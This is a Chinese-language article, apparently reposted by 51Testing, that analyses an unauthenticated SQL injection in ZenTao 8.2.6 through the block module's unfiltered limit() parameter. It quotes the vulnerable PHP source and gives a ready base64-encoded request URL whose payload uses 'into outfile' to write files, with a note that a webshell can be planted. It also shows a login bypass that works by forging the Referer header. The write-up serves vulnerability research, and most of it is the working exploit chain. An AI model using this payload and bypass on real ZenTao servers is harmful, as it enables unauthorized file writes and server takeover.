禅道826版本SQL注入,登录绕过

发表于:2017-4-21 11:48

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:该隐    来源:51Testing软件测试网采编

  上一篇文章SQL注入由 orderBy($order) 函数过滤不严格导致。但是,这个函数对传进的参数进行了一系列过滤,导致 getshell 的条件比较苛刻。不甘心,于是乎找了一个比较好利用的地方。我只是以这个模块的一个函数为例,其它未提到的地方仍然很有可能存在注入。
  一、问题的根源
  问题出现在 limit($limit) 函数,它对传进的参数没有经过任何过滤就直接拼接成SQL语句进行查询。
// D:\wamp\www\zentao826\lib\base\dao\dao.class.php
public function limit($limit)
{
if($this->inConditionand !$this->conditionIsTrue) return $this;
if(empty($limit)) return $this;
stripos($limit, 'limit') !== false ? $this->sql .= " $limit " : $this->sql .= ' ' . DAO::LIMIT . " $limit ";
return $this;
}
  二、利用点
  把这个函数在控制器文件中搜索了一下, ->limit($ 只出现在了 module\block\control.php 中,。这个模块中只有 main() 函数是最重要的函数,其它函数都是通过传参进行回调的。直接切入重点吧
// 288行
public function main($module = '', $id = 0)
{
// 代码省略
$mode = strtolower($this->get->mode);
if($mode == 'getblocklist')
{
// 代码省略
}
elseif($mode == 'getblockdata')
{  // 需要base64编码
$code = strtolower($this->get->blockid);
$params = $this->get->param;
$params = json_decode(base64_decode($params));      // 这里需要编码
// 代码省略
$this->viewType  = (isset($params->viewType) and $params->viewType == 'json') ? 'json' : 'html';
$this->params    = $params;
$this->view->code = $this->get->blockid;
$func = 'print' . ucfirst($code) . 'Block';
if(method_exists('block', $func))
{
$this->$func($module);      // 在这里进行了动态调用
}
else
{
$this->view->data = $this->block->$func($module, $params);
}
// 代码省略
}
}
  假设,我们想调用 printCaseBlock() 函数,那么传递进去的参数就应该是 mode=getblockdata 、 blockid=case 、以及编码后的 param 。
// 444行
public function printCaseBlock()
{
$this->session->set('caseList', $this->server->http_referer);
$this->app->loadLang('testcase');
$this->app->loadLang('testtask');
$cases = array();
var_dump($this->params);
if($this->params->type == 'assigntome')
{
$cases = $this->dao->select('t1.assignedTo AS assignedTo, t2.*')->from(TABLE_TESTRUN)->alias('t1')
->leftJoin(TABLE_CASE)->alias('t2')->on('t1.case = t2.id')
->leftJoin(TABLE_TESTTASK)->alias('t3')->on('t1.task = t3.id')
->Where('t1.assignedTo')->eq($this->app->user->account)
->andWhere('t1.status')->ne('done')
->andWhere('t3.status')->ne('done')
->andWhere('t3.deleted')->eq(0)
->andWhere('t2.deleted')->eq(0)
->orderBy($this->params->orderBy)
->beginIF($this->viewType != 'json')->limit($this->params->num)->fi()
->fetchAll();
}
elseif($this->params->type == 'openedbyme')
{
$cases = $this->dao->findByOpenedBy($this->app->user->account)->from(TABLE_CASE)
->andWhere('deleted')->eq(0)
->orderBy($this->params->orderBy)
->beginIF($this->viewType != 'json')->limit($this->params->num)->fi()
->fetchAll();
}
$this->view->cases    = $cases;
}
  第一个里面的看起来麻烦多了 ,我决定构造payload进入第二个分支。构造出来的语句如下:
  {"orderBy":"order","num":"1 into outfile 'd:/123'","type":"openedbyme"}
  最后的 payload 就应该是,这里只是以写文件为例,因为这个系统采取的 PDO ,因此可以多语句执行的。
  http://zentao826.me/block-main.html?mode=getblockdata&blockid=case?m=eyJvcmRlckJ5Ijoib3JkZXIiLCJudW0iOiIxIGludG8gb3V0ZmlsZSAnZDovMTIzJyIsInR5cGUiOiJvcGVuZWRieW1lIn0
  条件限制:
  如果要直接写 shell ,那么当前数据库账户必须有文件操作的权限
  拥有一个低权限的后台账号
  三、更深入一步
  当时我在想,这个地方好像是没有限制权限的,能不能绕过登录直接进行注入呢?后来发现,果然是可以的,这样的话,这个漏洞就绝对不鸡肋
// 22行,构造函数
public function __construct($moduleName = '', $methodName = '')
{
parent::__construct($moduleName, $methodName);
/* Mark the call from zentao or ranzhi. */
$this->selfCall = strpos($this->server->http_referer, common::getSysURL()) === 0 || $this->session->blockModule;
if($this->methodName != 'admin' and $this->methodName != 'dashboard' and !$this->selfCalland !$this->loadModel('sso')->checkKey()) die('');
}
  这个地方,它应该是提供给 然之 或者 禅道 的一个接口,如果不满足第二个条件,那么就 die('') 。我看了看,除了 $this->selfCall 以及 !$this->loadModel('sso')->checkKey() 单点登录校验,其它对于我们注入是无用的,但是单点登录的 key 我们是无法构造的,因此焦点就落在了 $this->selfCall 上了。 $this->server->http_referer 是 HTTP 请求头中的 referer 字段。 因此在未登录的状态下,增加一个头字段: referer:example.com 即可绕过登录进行注入
精选软件测试好文,快来阅读吧~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号